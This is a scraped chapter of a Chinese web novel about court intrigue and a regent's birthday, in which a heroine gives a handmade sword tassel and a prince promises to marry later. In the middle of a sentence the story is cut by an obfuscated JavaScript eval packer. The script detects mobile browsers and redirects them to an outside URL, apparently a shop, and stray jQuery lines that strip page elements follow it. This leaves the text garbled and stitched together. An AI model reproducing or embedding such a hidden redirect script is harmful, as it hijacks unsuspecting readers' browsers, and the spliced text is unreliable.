默认冷灰
24号文字
方正启体

45. 生辰

作者:弦上寄思本书字数:K更新时间:
    “小姐,夜深了,您还在做吗?”云淡掌着烛火进来,谢疏桐愁眉苦脸地看着手中一团线,手指在其间费劲地拨弄着。


    云淡掩嘴笑道:“小姐从来不钻研女红这些东西,如今突然要做这些精致东西,我都不习惯了。”


    谢疏桐地研究着手中的彩线,嘀咕着:“你家小姐变的何止这点?早些习惯就好了。”


    云淡取来多几盏灯放到桌上,缃黄的灯光在墙上拓下女子埋头的模样,不禁感慨:小姐真是大变样了,聪明多了,才艺多了,心事也多了……


    “小姐,不若我帮你做吧。”云淡手还没伸上来,谢疏桐便护宝似的往后缩:“不必不必,我非要做出来不可,没得让他周景珩小瞧了我去。”


    原是早间周景珩谢疏桐问他可有什么想要的东西,周景珩打趣她说:“谢大小姐的礼自然是最好的,只是此番不如换个厨子,谢府这个点心厨子手艺实在算不得好。”


    他这是在点她中秋用小厨房的点心打发他呢,真是得寸进尺,莫不是还想让她堂堂郡主亲自洗手作羹汤?


    摄政王府内,周景珩处理完公务,路过前庭,瞧见下人引路:“王爷,这雪下的怪异,往年这盛京几乎是不见雪的,今年却连下了一天,前边积雪深了,下人们准备扫呢,绕路回房吧。”


    周景珩没回答,看着阶下积雪早已在不为人知时,逐渐漫高,他看得出神,在下人提醒再三才回过神来,语气似是释怀:“不必扫了,留着吧。”


    “明日迎客绕过此处。”


    下人愣了,回过神来时周景珩已经走远,心中咂舌,周景珩最讨厌雪天,雪天甚至不乐意出门,更不允许府内有积雪,遇见个别冷年,盛京洋洋洒洒飘些雪花,摄政王府的下人便有得忙活了。


    次日一早宋昀带着圣旨到了王府,周景珩世袭王爵,定王府战功赫赫,定王及其部下战士悉数战死汇城后,先帝特许周家面圣见旨不拜。


    “镇北将军大司马,世袭罔替平南军候,上柱国,世袭罔替定王爵,摄政王周景珩接旨,朕念卿功高,特于千秋之际,赐食邑万户,良田千亩,添封辅国公。”


    上赶着来送礼的臣子们听见周景珩生辰皇帝送来的东西,心中唏嘘:周家竟然已经到了封无可封的地位了,便是先定王和周景珩攒下的功绩和爵位便可荫蔽其子孙数代。


    这便也意味着,要除去周家,除却株连九族的叛国之罪,只怕没什么办法能夺了周景珩的性命,唯有缓缓夺权,架空。


    这道恩旨特地让宋昀来宣,无非便是皇帝出面要周景珩个人情,借机将宋昀放出来,如今宋珏独当一面,可他和这三个哥哥都没有感情,今后的性命前途如何,无非是周景珩一句话。


    可貌似宋昀并没有明白皇帝的心思,让他宣读圣旨,每一个封号爵位都似乎无形地抽在他的脸上,昭示着他是如何的愚蠢,连一个落魄的庶子都能得势。


    周景珩伸手拿过圣旨时,却被一道受制于一道力,周景珩凤眸轻抬,头微微一歪,眸光似是审视。


    “王叔功勋卓著,还需小心行才是,功高震主,从来是没有什么好下场的。”宋昀阴笑小声提点他。


    周景珩唇角微勾,用力一把夺过圣旨,引地宋昀微微踉跄几步,周景珩装模作样地掸了掸圣旨上的灰尘,似乎经了宋昀的手便脏了似的。


    周景珩微微一笑,居高临下看着他:“看来那把火还是没能让楚王醒过来,枉费你老子帮你苦心筹谋要留你性命,可你却是个扶不起的。”


    在宋昀错愕的眼神中,周景珩缓走两步上阶,低声着,语气挑衅:“无论是权势,地位,还是她,你都休想染指半分,你若贼心不死,那么忠臣是臣,奸臣也是臣,这上意本王逆了又如何?”


    说完,周景珩看着宋昀不可置信的反应,大笑而去。


    狂悖之徒,狂悖之徒!


    王府门口,宋珏的马车缓缓停下,宋珏从车上下来便和站在王府门口的肖念打了个照面。


    肖念只是微微一愣,立即侧身闪避视线要走。


    “肖姑娘!”宋珏皱眉,叫住她。


    肖念低着头行礼:“明王殿下!”


    宋昀见状心中五味杂陈,“我上次不是说了,肖姑娘见我不必行礼了?”


    肖念微微一笑,笑意带着几分苦涩:“上次殿下也不唤我肖姑娘啊!”


    “念念……我。”


    宋珏很大胆,在上次肖将军带肖念过府后,他便暗暗留意着肖念的行踪,两人很快便看对了眼。


    “殿下不必多说,半月后便是您的大婚之日,臣女定会参加婚宴,恭祝你们琴瑟和鸣。”


    宋珏闻言厉声道:“你不准来!我不想听见你的半分恭贺。”他一把抓过肖念的手,语气近乎恳求:“我知晓我如今的模样很无耻,但我还是想让你等等我,念念,你能不能等等我?”


    他幼时失母,从不知爱是何滋味,见到各种形形色色的人,低时冷眼相待,高时阿谀奉承,他早就以为他眼中只有成为上位者的欲望!


    可是天意偏偏让他们遇见了,她是鲜活的,是那般的不同。


    可尽管如此,他们的个人情感在权势大计面前显得那么的微不足道,他毫不犹豫选择了更有利于自己的选择,可他却感觉失去了什么,既要又要的模样让他亦觉得自己面目可憎,可那又如何,人生在世,他只想自私虚伪那么一回。


    不仅是他第一次动心,也是肖念第一次被这样一个温润如玉的公子吸引,少女的心动如枯草遇春风,当第一抹新芽露尖,看不见的外头早已荒草连天。


    “半年,半年之后,等不到你,我便寻人嫁了,我大燕好男儿多的是。”肖念声音哽咽,她愿意为自己的心动豁出去赌一次,就这么一次。


    外头的一切一字不漏落到周景珩耳中,等宋珏进来时,周景珩只是坐在一旁,不动声色地倒了茶,淡淡问起:“你想走到哪个位置上,有一个人,你该去见见。”


    “太尉?”宋珏心烦意乱地将茶一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013451|194172||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    饮而尽。周景珩指腹摩挲着茶杯边缘:“是陛下身边的掌印公公,他是一个很容易忽略的人,若有什么意外,你的位置名正言顺与否,便是这位公公一句话的事了。”


    小人物如蝼蚁,可往往便是这些蝼蚁足以撼动大树。


    宋珏没明白,意外是指什么?思及上次皇帝的话,宋珏犹豫着问出口:“行舟,定王和父皇之间,似乎有什么过往?”


    周景珩眼神微微一僵,“曾经我父亲,也是扶持当今的陛下的,只是早已物是人非罢了。”宋珏收回目光,语气惋惜:“是啊,定王当世骁勇之士。”


    周景珩挑开话题:“你若是真心许那个女子,该尽早走到那个位置,当你一日不再受制于人,便可全你心意。”宋珏意外,哪怕周景珩如今没了兵权在身,朝政大权也半数落入宋珏之手,却还是似乎任何事都逃不过他的法眼。


    暮色降临,王府的喧嚣散去。


    “王爷吩咐了,郡主一来便带您往正厅去。”雪渐渐小,谢疏桐打着伞,瞧见庭前积雪过膝,显然是落了一夜的的模样:“你们王爷不是从来见不得积雪?昨日我来,险些也被铲干净了去。”


    小厮笑着道:“郡主说笑了,王爷的喜好奴才们是从来不敢多言的。”谢疏桐唇角一弯,“你这是拐着弯骂他喜怒无常啊。”


    此话一出吓的小厮连连摆手。


    “如今谢大小姐来本王的王府轻车熟路,都能和小厮说笑了。”周景珩不知何时立于廊下,饶有趣味地看着她。


    谢疏桐绕了一圈到廊下,“我本想王爷今日该是个大忙人才是,忙着招待你那些贪官同党,看来还是我有面子,能占用王爷宝贵的时间。”


    周景珩“啧”了一声,“谢大小姐和那群宵小怎能比?”


    走进屋谢疏桐疑惑地打量了没处可放的奇珍异宝,皱眉:“我记得凌风说过你不喜欢这些奇珍异宝,收了做什么?没得坏了自己的名声吗。”


    周景珩微微一笑:“在这尔虞我诈的官场,忠臣要做得,奸臣也要做得,才能让皇帝和下官都放心不是?”


    “至于这些礼。”周景珩得意一笑:“日后新皇登基,这便是百官行贿的罪证!”


    好一个周景珩,宋珏若登基,根基牵制不住百官,这便是最好的把柄。


    “好了谢大小姐,今日好歹是本王的生辰,你一来不是骂我贪官,便是关心朝政,没一句本王爱听的,当真是小没良心。”周景珩懒懒道。


    “生辰快乐!”周景珩话一落便听见谢疏桐微笑着祝福,后者提着她的“礼物”,像个讨赏的孩子般看着他:“我的贺礼不比你那些贪官的珍贵……”


    “哎!”


    还未反应过来便被周景珩取了去,周景珩拿着那剑穗在手里打量,唇角不自觉上扬,穗子编得极密,用的红绳和彩绳相互交织,穗心系着一枚玉环,上刻着半句梵文,似乎想用这佛前的玉,换执剑人平安。


    “谢大小姐的礼物,比之满殿珍宝,更弥足珍贵。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)